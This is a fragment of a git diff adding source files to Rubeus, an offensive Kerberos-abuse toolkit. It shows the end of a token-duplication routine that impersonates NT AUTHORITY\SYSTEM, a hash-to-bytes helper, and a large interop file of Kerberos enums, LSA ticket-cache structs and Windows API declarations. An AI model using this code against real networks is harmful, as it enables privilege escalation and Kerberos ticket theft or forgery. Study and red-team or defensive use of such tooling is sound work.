+ IntPtr hDupToken = IntPtr.Zero;
+ success = Interop.DuplicateToken(hToken, 2, ref hDupToken);
+ if (!success)
+ {
+ //Console.WriteLine("DuplicateToken failed!");
+ return false;
+ }
+
+ success = Interop.ImpersonateLoggedOnUser(hDupToken);
+ if (!success)
+ {
+ //Console.WriteLine("ImpersonateLoggedOnUser failed!");
+ return false;
+ }
+
+ // clean up the handles we created
+ Interop.CloseHandle(hToken);
+ Interop.CloseHandle(hDupToken);
+
+ string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
+ if (name != "NT AUTHORITY\\SYSTEM")
+ {
+ return false;
+ }
+
+ return true;
+ }
+ else
+ {
+ return false;
+ }
+ }
+
+ public static byte[] StringToByteArray(string hex)
+ {
+ // converts a rc4/AES/etc. string into a byte array representation
+
+ if ((hex.Length % 32) != 0)
+ {
+ Console.WriteLine("\r\n[X] Hash must be 32 or 64 characters in length\r\n");
+ System.Environment.Exit(1);
+ }
+
+ // yes I know this inefficient
+ return Enumerable.Range(0, hex.Length)
+ .Where(x => x % 2 == 0)
+ .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
+ .ToArray();
+ }
+ }
+}
\ No newline at end of file
diff --git a/Rubeus/lib/Interop.cs b/Rubeus/lib/Interop.cs
new file mode 100755
index 00000000..302542f8
--- /dev/null
+++ b/Rubeus/lib/Interop.cs
@@ -0,0 +1,957 @@
+using System;
+using Asn1;
+using System.Text;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+
+namespace Rubeus
+{
+ public class Interop
+ {
+ // Enums
+
+ [Flags]
+ public enum TicketFlags : UInt32
+ {
+ reserved = 2147483648,
+ forwardable = 0x40000000,
+ forwarded = 0x20000000,
+ proxiable = 0x10000000,
+ proxy = 0x08000000,
+ may_postdate = 0x04000000,
+ postdated = 0x02000000,
+ invalid = 0x01000000,
+ renewable = 0x00800000,
+ initial = 0x00400000,
+ pre_authent = 0x00200000,
+ hw_authent = 0x00100000,
+ ok_as_delegate = 0x00040000,
+ name_canonicalize = 0x00010000,
+ //cname_in_pa_data = 0x00040000,
+ enc_pa_rep = 0x00010000,
+ reserved1 = 0x00000001
+ // TODO: constrained delegation?
+ }
+
+ // TODO: order flipped? https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L167-L190
+ [Flags]
+ public enum KdcOptions : uint
+ {
+ VALIDATE = 0x00000001,
+ RENEW = 0x00000002,
+ UNUSED29 = 0x00000004,
+ ENCTKTINSKEY = 0x00000008,
+ RENEWABLEOK = 0x00000010,
+ DISABLETRANSITEDCHECK = 0x00000020,
+ UNUSED16 = 0x0000FFC0,
+ CANONICALIZE = 0x00010000,
+ CNAMEINADDLTKT = 0x00020000,
+ OK_AS_DELEGATE = 0x00040000,
+ UNUSED12 = 0x00080000,
+ OPTHARDWAREAUTH = 0x00100000,
+ PREAUTHENT = 0x00200000,
+ INITIAL = 0x00400000,
+ RENEWABLE = 0x00800000,
+ UNUSED7 = 0x01000000,
+ POSTDATED = 0x02000000,
+ ALLOWPOSTDATE = 0x04000000,
+ PROXY = 0x08000000,
+ PROXIABLE = 0x10000000,
+ FORWARDED = 0x20000000,
+ FORWARDABLE = 0x40000000,
+ RESERVED = 0x80000000
+ }
+
+ // from https://tools.ietf.org/html/rfc3961
+ public enum KERB_ETYPE : UInt32
+ {
+ des_cbc_crc = 1,
+ des_cbc_md4 = 2,
+ des_cbc_md5 = 3,
+ des3_cbc_md5 = 5,
+ des3_cbc_sha1 = 7,
+ dsaWithSHA1_CmsOID = 9,
+ md5WithRSAEncryption_CmsOID = 10,
+ sha1WithRSAEncryption_CmsOID = 11,
+ rc2CBC_EnvOID = 12,
+ rsaEncryption_EnvOID = 13,
+ rsaES_OAEP_ENV_OID = 14,
+ des_ede3_cbc_Env_OID = 15,
+ des3_cbc_sha1_kd = 16,
+ aes128_cts_hmac_sha1 = 17,
+ aes256_cts_hmac_sha1 = 18,
+ rc4_hmac = 23,
+ rc4_hmac_exp = 24,
+ subkey_keymaterial = 65
+ }
+
+ public enum KERB_CHECKSUM_ALGORITHM
+ {
+ KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15,
+ KERB_CHECKSUM_HMAC_SHA1_96_AES256 = 16,
+ KERB_CHECKSUM_DES_MAC = -133,
+ KERB_CHECKSUM_HMAC_MD5 = -138,
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_CHECKSUM
+ {
+ public int Type;
+ public int Size;
+ public int Flag;
+ public IntPtr Initialize;
+ public IntPtr Sum;
+ public IntPtr Finalize;
+ public IntPtr Finish;
+ public IntPtr InitializeEx;
+ public IntPtr unk0_null;
+ }
+
+ // from https://github.com/ps4dev/freebsd-include-mirror/blob/master/krb5_asn1.h
+ public enum PADATA_TYPE : UInt32
+ {
+ NONE = 0,
+ TGS_REQ = 1,
+ AP_REQ = 1,
+ ENC_TIMESTAMP = 2,
+ PW_SALT = 3,
+ ENC_UNIX_TIME = 5,
+ SANDIA_SECUREID = 6,
+ SESAME = 7,
+ OSF_DCE = 8,
+ CYBERSAFE_SECUREID = 9,
+ AFS3_SALT = 10,
+ ETYPE_INFO = 11,
+ SAM_CHALLENGE = 12,
+ SAM_RESPONSE = 13,
+ PK_AS_REQ_19 = 14,
+ PK_AS_REP_19 = 15,
+ PK_AS_REQ_WIN = 15,
+ PK_AS_REQ = 16,
+ PK_AS_REP = 17,
+ PA_PK_OCSP_RESPONSE = 18,
+ ETYPE_INFO2 = 19,
+ USE_SPECIFIED_KVNO = 20,
+ SVR_REFERRAL_INFO = 20,
+ SAM_REDIRECT = 21,
+ GET_FROM_TYPED_DATA = 22,
+ SAM_ETYPE_INFO = 23,
+ SERVER_REFERRAL = 25,
+ TD_KRB_PRINCIPAL = 102,
+ PK_TD_TRUSTED_CERTIFIERS = 104,
+ PK_TD_CERTIFICATE_INDEX = 105,
+ TD_APP_DEFINED_ERROR = 106,
+ TD_REQ_NONCE = 107,
+ TD_REQ_SEQ = 108,
+ PA_PAC_REQUEST = 128,
+ S4U2SELF = 129,
+ PK_AS_09_BINDING = 132,
+ CLIENT_CANONICALIZED = 133
+ }
+
+ // adapted from https://github.com/skelsec/minikerberos/blob/master/minikerberos/kerberoserror.py#L18-L76
+ public enum KERBEROS_ERROR : UInt32
+ {
+ KDC_ERR_NONE = 0x0, //No error
+ KDC_ERR_NAME_EXP = 0x1, //Client's entry in KDC database has expired
+ KDC_ERR_SERVICE_EXP = 0x2, //Server's entry in KDC database has expired
+ KDC_ERR_BAD_PVNO = 0x3, //Requested Kerberos version number not supported
+ KDC_ERR_C_OLD_MAST_KVNO = 0x4, //Client's key encrypted in old master key
+ KDC_ERR_S_OLD_MAST_KVNO = 0x5, //Server's key encrypted in old master key
+ KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6, //Client not found in Kerberos database
+ KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7, //Server not found in Kerberos database
+ KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8, //Multiple principal entries in KDC database
+ KDC_ERR_NULL_KEY = 0x9, //The client or server has a null key (master key)
+ KDC_ERR_CANNOT_POSTDATE = 0xA, // Ticket (TGT) not eligible for postdating
+ KDC_ERR_NEVER_VALID = 0xB, // Requested start time is later than end time
+ KDC_ERR_POLICY = 0xC, //Requested start time is later than end time
+ KDC_ERR_BADOPTION = 0xD, //KDC cannot accommodate requested option
+ KDC_ERR_ETYPE_NOTSUPP = 0xE, // KDC has no support for encryption type
+ KDC_ERR_SUMTYPE_NOSUPP = 0xF, // KDC has no support for checksum type
+ KDC_ERR_PADATA_TYPE_NOSUPP = 0x10, //KDC has no support for PADATA type (pre-authentication data)
+ KDC_ERR_TRTYPE_NO_SUPP = 0x11, //KDC has no support for transited type
+ KDC_ERR_CLIENT_REVOKED = 0x12, // Client’s credentials have been revoked
+ KDC_ERR_SERVICE_REVOKED = 0x13, //Credentials for server have been revoked
+ KDC_ERR_TGT_REVOKED = 0x14, //TGT has been revoked
+ KDC_ERR_CLIENT_NOTYET = 0x15, // Client not yet valid—try again later
+ KDC_ERR_SERVICE_NOTYET = 0x16, //Server not yet valid—try again later
+ KDC_ERR_KEY_EXPIRED = 0x17, // Password has expired—change password to reset
+ KDC_ERR_PREAUTH_FAILED = 0x18, //Pre-authentication information was invalid
+ KDC_ERR_PREAUTH_REQUIRED = 0x19, // Additional preauthentication required
+ KDC_ERR_SERVER_NOMATCH = 0x1A, //KDC does not know about the requested server
+ KDC_ERR_SVC_UNAVAILABLE = 0x1B, // KDC is unavailable
+ KRB_AP_ERR_BAD_INTEGRITY = 0x1F, // Integrity check on decrypted field failed
+ KRB_AP_ERR_TKT_EXPIRED = 0x20, // The ticket has expired
+ KRB_AP_ERR_TKT_NYV = 0x21, //The ticket is not yet valid
+ KRB_AP_ERR_REPEAT = 0x22, // The request is a replay
+ KRB_AP_ERR_NOT_US = 0x23, //The ticket is not for us
+ KRB_AP_ERR_BADMATCH = 0x24, //The ticket and authenticator do not match
+ KRB_AP_ERR_SKEW = 0x25, // The clock skew is too great
+ KRB_AP_ERR_BADADDR = 0x26, // Network address in network layer header doesn't match address inside ticket
+ KRB_AP_ERR_BADVERSION = 0x27, // Protocol version numbers don't match (PVNO)
+ KRB_AP_ERR_MSG_TYPE = 0x28, // Message type is unsupported
+ KRB_AP_ERR_MODIFIED = 0x29, // Message stream modified and checksum didn't match
+ KRB_AP_ERR_BADORDER = 0x2A, // Message out of order (possible tampering)
+ KRB_AP_ERR_BADKEYVER = 0x2C, // Specified version of key is not available
+ KRB_AP_ERR_NOKEY = 0x2D, // Service key not available
+ KRB_AP_ERR_MUT_FAIL = 0x2E, // Mutual authentication failed
+ KRB_AP_ERR_BADDIRECTION = 0x2F, // Incorrect message direction
+ KRB_AP_ERR_METHOD = 0x30, // Alternative authentication method required
+ KRB_AP_ERR_BADSEQ = 0x31, // Incorrect sequence number in message
+ KRB_AP_ERR_INAPP_CKSUM = 0x32, // Inappropriate type of checksum in message (checksum may be unsupported)
+ KRB_AP_PATH_NOT_ACCEPTED = 0x33, // Desired path is unreachable
+ KRB_ERR_RESPONSE_TOO_BIG = 0x34, // Too much data
+ KRB_ERR_GENERIC = 0x3C, // Generic error; the description is in the e-data field
+ KRB_ERR_FIELD_TOOLONG = 0x3D, // Field is too long for this implementation
+ KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E, // The client trust failed or is not implemented
+ KDC_ERR_KDC_NOT_TRUSTED = 0x3F, // The KDC server trust failed or could not be verified
+ KDC_ERR_INVALID_SIG = 0x40, // The signature is invalid
+ KDC_ERR_KEY_TOO_WEAK = 0x41, //A higher encryption level is needed
+ KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42, // User-to-user authorization is required
+ KRB_AP_ERR_NO_TGT = 0x43, // No TGT was presented or available
+ KDC_ERR_WRONG_REALM = 0x44, //Incorrect domain or principal
+ }
+
+ [Flags]
+ public enum DSGETDCNAME_FLAGS : uint
+ {
+ DS_FORCE_REDISCOVERY = 0x00000001,
+ DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010,
+ DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020,
+ DS_GC_SERVER_REQUIRED = 0x00000040,
+ DS_PDC_REQUIRED = 0x00000080,
+ DS_BACKGROUND_ONLY = 0x00000100,
+ DS_IP_REQUIRED = 0x00000200,
+ DS_KDC_REQUIRED = 0x00000400,
+ DS_TIMESERV_REQUIRED = 0x00000800,
+ DS_WRITABLE_REQUIRED = 0x00001000,
+ DS_GOOD_TIMESERV_PREFERRED = 0x00002000,
+ DS_AVOID_SELF = 0x00004000,
+ DS_ONLY_LDAP_NEEDED = 0x00008000,
+ DS_IS_FLAT_NAME = 0x00010000,
+ DS_IS_DNS_NAME = 0x00020000,
+ DS_RETURN_DNS_NAME = 0x40000000,
+ DS_RETURN_FLAT_NAME = 0x80000000
+ }
+
+ public enum TOKEN_INFORMATION_CLASS
+ {
+ ///
+ /// The buffer receives a TOKEN_USER structure that contains the user account of the token.
+ ///
+ TokenUser = 1,
+
+ ///
+ /// The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token.
+ ///
+ TokenGroups,
+
+ ///
+ /// The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token.
+ ///
+ TokenPrivileges,
+
+ ///
+ /// The buffer receives a TOKEN_OWNER structure that contains the default owner security identifier (SID) for newly created objects.
+ ///
+ TokenOwner,
+
+ ///
+ /// The buffer receives a TOKEN_PRIMARY_GROUP structure that contains the default primary group SID for newly created objects.
+ ///
+ TokenPrimaryGroup,
+
+ ///
+ /// The buffer receives a TOKEN_DEFAULT_DACL structure that contains the default DACL for newly created objects.
+ ///
+ TokenDefaultDacl,
+
+ ///
+ /// The buffer receives a TOKEN_SOURCE structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information.
+ ///
+ TokenSource,
+
+ ///
+ /// The buffer receives a TOKEN_TYPE value that indicates whether the token is a primary or impersonation token.
+ ///
+ TokenType,
+
+ ///
+ /// The buffer receives a SECURITY_IMPERSONATION_LEVEL value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails.
+ ///
+ TokenImpersonationLevel,
+
+ ///
+ /// The buffer receives a TOKEN_STATISTICS structure that contains various token statistics.
+ ///
+ TokenStatistics,
+
+ ///
+ /// The buffer receives a TOKEN_GROUPS structure that contains the list of restricting SIDs in a restricted token.
+ ///
+ TokenRestrictedSids,
+
+ ///
+ /// The buffer receives a DWORD value that indicates the Terminal Services session identifier that is associated with the token.
+ ///
+ TokenSessionId,
+
+ ///
+ /// The buffer receives a TOKEN_GROUPS_AND_PRIVILEGES structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token.
+ ///
+ TokenGroupsAndPrivileges,
+
+ ///
+ /// Reserved.
+ ///
+ TokenSessionReference,
+
+ ///
+ /// The buffer receives a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag.
+ ///
+ TokenSandBoxInert,
+
+ ///
+ /// Reserved.
+ ///
+ TokenAuditPolicy,
+
+ ///
+ /// The buffer receives a TOKEN_ORIGIN value.
+ ///
+ TokenOrigin,
+
+ ///
+ /// The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token.
+ ///
+ TokenElevationType,
+
+ ///
+ /// The buffer receives a TOKEN_LINKED_TOKEN structure that contains a handle to another token that is linked to this token.
+ ///
+ TokenLinkedToken,
+
+ ///
+ /// The buffer receives a TOKEN_ELEVATION structure that specifies whether the token is elevated.
+ ///
+ TokenElevation,
+
+ ///
+ /// The buffer receives a DWORD value that is nonzero if the token has ever been filtered.
+ ///
+ TokenHasRestrictions,
+
+ ///
+ /// The buffer receives a TOKEN_ACCESS_INFORMATION structure that specifies security information contained in the token.
+ ///
+ TokenAccessInformation,
+
+ ///
+ /// The buffer receives a DWORD value that is nonzero if virtualization is allowed for the token.
+ ///
+ TokenVirtualizationAllowed,
+
+ ///
+ /// The buffer receives a DWORD value that is nonzero if virtualization is enabled for the token.
+ ///
+ TokenVirtualizationEnabled,
+
+ ///
+ /// The buffer receives a TOKEN_MANDATORY_LABEL structure that specifies the token's integrity level.
+ ///
+ TokenIntegrityLevel,
+
+ ///
+ /// The buffer receives a DWORD value that is nonzero if the token has the UIAccess flag set.
+ ///
+ TokenUIAccess,
+
+ ///
+ /// The buffer receives a TOKEN_MANDATORY_POLICY structure that specifies the token's mandatory integrity policy.
+ ///
+ TokenMandatoryPolicy,
+
+ ///
+ /// The buffer receives the token's logon security identifier (SID).
+ ///
+ TokenLogonSid,
+
+ ///
+ /// The maximum value for this enumeration
+ ///
+ MaxTokenInfoClass
+ }
+
+ [Flags]
+ public enum KERB_CACHE_OPTIONS : UInt64
+ {
+ KERB_RETRIEVE_TICKET_DEFAULT = 0x0,
+ KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1,
+ KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2,
+ KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4,
+ KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8,
+ KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10,
+ KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20,
+ KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40,
+ }
+
+ public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32
+ {
+ KerbDebugRequestMessage = 0,
+ KerbQueryTicketCacheMessage = 1,
+ KerbChangeMachinePasswordMessage = 2,
+ KerbVerifyPacMessage = 3,
+ KerbRetrieveTicketMessage = 4,
+ KerbUpdateAddressesMessage = 5,
+ KerbPurgeTicketCacheMessage = 6,
+ KerbChangePasswordMessage = 7,
+ KerbRetrieveEncodedTicketMessage = 8,
+ KerbDecryptDataMessage = 9,
+ KerbAddBindingCacheEntryMessage = 10,
+ KerbSetPasswordMessage = 11,
+ KerbSetPasswordExMessage = 12,
+ KerbVerifyCredentialsMessage = 13,
+ KerbQueryTicketCacheExMessage = 14,
+ KerbPurgeTicketCacheExMessage = 15,
+ KerbRefreshSmartcardCredentialsMessage = 16,
+ KerbAddExtraCredentialsMessage = 17,
+ KerbQuerySupplementalCredentialsMessage = 18,
+ KerbTransferCredentialsMessage = 19,
+ KerbQueryTicketCacheEx2Message = 20,
+ KerbSubmitTicketMessage = 21,
+ KerbAddExtraCredentialsExMessage = 22,
+ KerbQueryKdcProxyCacheMessage = 23,
+ KerbPurgeKdcProxyCacheMessage = 24,
+ KerbQueryTicketCacheEx3Message = 25,
+ KerbCleanupMachinePkinitCredsMessage = 26,
+ KerbAddBindingCacheEntryExMessage = 27,
+ KerbQueryBindingCacheMessage = 28,
+ KerbPurgeBindingCacheMessage = 29,
+ KerbQueryDomainExtendedPoliciesMessage = 30,
+ KerbQueryS4U2ProxyCacheMessage = 31
+ }
+
+ public enum SECURITY_LOGON_TYPE : uint
+ {
+ Interactive = 2, // logging on interactively.
+ Network, // logging using a network.
+ Batch, // logon for a batch process.
+ Service, // logon for a service account.
+ Proxy, // Not supported.
+ Unlock, // Tattempt to unlock a workstation.
+ NetworkCleartext, // network logon with cleartext credentials
+ NewCredentials, // caller can clone its current token and specify new credentials for outbound connections
+ RemoteInteractive, // terminal server session that is both remote and interactive
+ CachedInteractive, // attempt to use the cached credentials without going out across the network
+ CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes
+ CachedUnlock // attempt to unlock a workstation
+ }
+
+ public enum LOGON_PROVIDER
+ {
+ LOGON32_PROVIDER_DEFAULT,
+ LOGON32_PROVIDER_WINNT35,
+ LOGON32_PROVIDER_WINNT40,
+ LOGON32_PROVIDER_WINNT50
+ }
+
+
+ // structs
+
+ // From Vincent LE TOUX' "MakeMeEnterpriseAdmin"
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_ECRYPT
+ {
+ int Type0;
+ public int BlockSize;
+ int Type1;
+ public int KeySize;
+ public int Size;
+ int unk2;
+ int unk3;
+ public IntPtr AlgName;
+ public IntPtr Initialize;
+ public IntPtr Encrypt;
+ public IntPtr Decrypt;
+ public IntPtr Finish;
+ IntPtr HashPassword;
+ IntPtr RandomKey;
+ IntPtr Control;
+ IntPtr unk0_null;
+ IntPtr unk1_null;
+ IntPtr unk2_null;
+ }
+
+ [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
+ public struct DOMAIN_CONTROLLER_INFO
+ {
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string DomainControllerName;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string DomainControllerAddress;
+ public uint DomainControllerAddressType;
+ public Guid DomainGuid;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string DomainName;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string DnsForestName;
+ public uint Flags;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string DcSiteName;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string ClientSiteName;
+ }
+
+ public struct SYSTEMTIME
+ {
+ public ushort wYear, wMonth, wDayOfWeek, wDay,
+ wHour, wMinute, wSecond, wMilliseconds;
+ }
+
+
+ // LSA structures
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_SUBMIT_TKT_REQUEST
+ {
+ public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+ public LUID LogonId;
+ public int Flags;
+ public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
+ public int KerbCredSize;
+ public int KerbCredOffset;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_PURGE_TKT_CACHE_REQUEST
+ {
+ public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+ public LUID LogonId;
+ LSA_STRING_IN ServerName;
+ LSA_STRING_IN RealmName;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_CRYPTO_KEY32
+ {
+ public int KeyType;
+ public int Length;
+ public int Offset;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct LUID
+ {
+ public uint LowPart;
+ public int HighPart;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct SECURITY_HANDLE
+ {
+ public IntPtr LowPart;
+ public IntPtr HighPart;
+ public SECURITY_HANDLE(int dummy)
+ {
+ LowPart = HighPart = IntPtr.Zero;
+ }
+ };
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct LSA_STRING_IN
+ {
+ public UInt16 Length;
+ public UInt16 MaximumLength;
+ public string Buffer;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct LSA_STRING_OUT
+ {
+ public UInt16 Length;
+ public UInt16 MaximumLength;
+ public IntPtr Buffer;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct LSA_STRING
+ {
+ public UInt16 Length;
+ public UInt16 MaximumLength;
+ public String Buffer;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct UNICODE_STRING : IDisposable
+ {
+ public ushort Length;
+ public ushort MaximumLength;
+ public IntPtr buffer;
+
+ public UNICODE_STRING(string s)
+ {
+ Length = (ushort)(s.Length * 2);
+ MaximumLength = (ushort)(Length + 2);
+ buffer = Marshal.StringToHGlobalUni(s);
+ }
+
+ public void Dispose()
+ {
+ Marshal.FreeHGlobal(buffer);
+ buffer = IntPtr.Zero;
+ }
+
+ public override string ToString()
+ {
+ return Marshal.PtrToStringUni(buffer);
+ }
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_RETRIEVE_TKT_RESPONSE
+ {
+ public KERB_EXTERNAL_TICKET Ticket;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_EXTERNAL_TICKET
+ {
+ public IntPtr ServiceName;
+ public IntPtr TargetName;
+ public IntPtr ClientName;
+ public LSA_STRING_OUT DomainName;
+ public LSA_STRING_OUT TargetDomainName;
+ public LSA_STRING_OUT AltTargetDomainName;
+ public KERB_CRYPTO_KEY SessionKey;
+ public UInt32 TicketFlags;
+ public UInt32 Flags;
+ public Int64 KeyExpirationTime;
+ public Int64 StartTime;
+ public Int64 EndTime;
+ public Int64 RenewUntil;
+ public Int64 TimeSkew;
+ public Int32 EncodedTicketSize;
+ public IntPtr EncodedTicket;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_CRYPTO_KEY
+ {
+ public Int32 KeyType;
+ public Int32 Length;
+ public IntPtr Value;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_RETRIEVE_TKT_REQUEST
+ {
+ public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+ public LUID LogonId;
+ public UNICODE_STRING TargetName;
+ public UInt32 TicketFlags;
+ public UInt32 CacheOptions;
+ public Int32 EncryptionType;
+ public SECURITY_HANDLE CredentialsHandle;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_QUERY_TKT_CACHE_REQUEST
+ {
+ public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+ public LUID LogonId;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_QUERY_TKT_CACHE_RESPONSE
+ {
+ public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+ public int CountOfTickets;
+ // public KERB_TICKET_CACHE_INFO[] Tickets;
+ public IntPtr Tickets;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_TICKET_CACHE_INFO
+ {
+ public LSA_STRING_OUT ServerName;
+ public LSA_STRING_OUT RealmName;
+ public Int64 StartTime;
+ public Int64 EndTime;
+ public Int64 RenewTime;
+ public Int32 EncryptionType;
+ public UInt32 TicketFlags;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct KERB_EXTERNAL_NAME
+ {
+ public Int16 NameType;
+ public UInt16 NameCount;
+ public LSA_STRING_OUT Names;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct SECURITY_LOGON_SESSION_DATA
+ {
+ public UInt32 Size;
+ public LUID LoginID;
+ public LSA_STRING_OUT Username;
+ public LSA_STRING_OUT LoginDomain;
+ public LSA_STRING_OUT AuthenticationPackage;
+ public UInt32 LogonType;
+ public UInt32 Session;
+ public IntPtr PSiD;
+ public UInt64 LoginTime;
+ public LSA_STRING_OUT LogonServer;
+ public LSA_STRING_OUT DnsDomainName;
+ public LSA_STRING_OUT Upn;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct SECURITY_ATTRIBUTES
+ {
+ public int Length;
+ public IntPtr lpSecurityDescriptor;
+ public bool bInheritHandle;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct PROCESS_INFORMATION
+ {
+ public IntPtr hProcess;
+ public IntPtr hThread;
+ public int dwProcessId;
+ public int dwThreadId;
+ }
+
+ [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
+ public struct STARTUPINFO
+ {
+ public Int32 cb;
+ public string lpReserved;
+ public string lpDesktop;
+ public string lpTitle;
+ public Int32 dwX;
+ public Int32 dwY;
+ public Int32 dwXSize;
+ public Int32 dwYSize;
+ public Int32 dwXCountChars;
+ public Int32 dwYCountChars;
+ public Int32 dwFillAttribute;
+ public Int32 dwFlags;
+ public Int16 wShowWindow;
+ public Int16 cbReserved2;
+ public IntPtr lpReserved2;
+ public IntPtr hStdInput;
+ public IntPtr hStdOutput;
+ public IntPtr hStdError;
+ }
+
+ [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
+ public struct TOKEN_STATISTICS
+ {
+ public LUID TokenId;
+ public LUID AuthenticationId;
+ public long ExpirationTime;
+ public uint TokenType;
+ public uint ImpersonationLevel;
+ public uint DynamicCharged;
+ public uint DynamicAvailable;
+ public uint GroupCount;
+ public uint PrivilegeCount;
+ public LUID ModifiedId;
+ }
+
+
+
+ // functions
+ // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
+ [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
+ public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum);
+
+ [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)]
+ public static extern int CDLocateCheckSum(KERB_CHECKSUM_ALGORITHM type, out IntPtr pCheckSum);
+
+ // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1753-L1767
+ public delegate int KERB_ECRYPT_Initialize(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext);
+ public delegate int KERB_ECRYPT_Encrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize);
+ public delegate int KERB_ECRYPT_Decrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize);
+ public delegate int KERB_ECRYPT_Finish(ref IntPtr pContext);
+
+ //https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1760-L1767
+ public delegate int KERB_CHECKSUM_Initialize(int unk0, out IntPtr pContext);
+ public delegate int KERB_CHECKSUM_Sum(IntPtr pContext, int Size, byte[] Buffer);
+ public delegate int KERB_CHECKSUM_Finalize(IntPtr pContext, byte[] Buffer);
+ public delegate int KERB_CHECKSUM_Finish(ref IntPtr pContext);
+ public delegate int KERB_CHECKSUM_InitializeEx(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext);
+
+
+ [DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
+ public static extern int DsGetDcName(
+ [MarshalAs(UnmanagedType.LPTStr)] string ComputerName,
+ [MarshalAs(UnmanagedType.LPTStr)] string DomainName,
+ [In] int DomainGuid,
+ [MarshalAs(UnmanagedType.LPTStr)] string SiteName,
+ [MarshalAs(UnmanagedType.U4)] DSGETDCNAME_FLAGS flags,
+ out IntPtr pDOMAIN_CONTROLLER_INFO);
+
+ [DllImport("Netapi32.dll", SetLastError = true)]
+ public static extern int NetApiBufferFree(IntPtr Buffer);
+
+ [DllImport("kernel32.dll")]
+ public extern static void GetSystemTime(ref SYSTEMTIME lpSystemTime);
+
+ // LSA functions
+
+ [DllImport("secur32.dll", SetLastError = false)]
+ public static extern int LsaConnectUntrusted(
+ [Out] out IntPtr LsaHandle
+ );
+
+ [DllImport("secur32.dll", SetLastError = false)]
+ public static extern int LsaLookupAuthenticationPackage(
+ [In] IntPtr LsaHandle,
+ [In] ref LSA_STRING_IN PackageName,
+ [Out] out int AuthenticationPackage
+ );
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr LocalAlloc(
+ uint uFlags,
+ uint uBytes
+ );
+
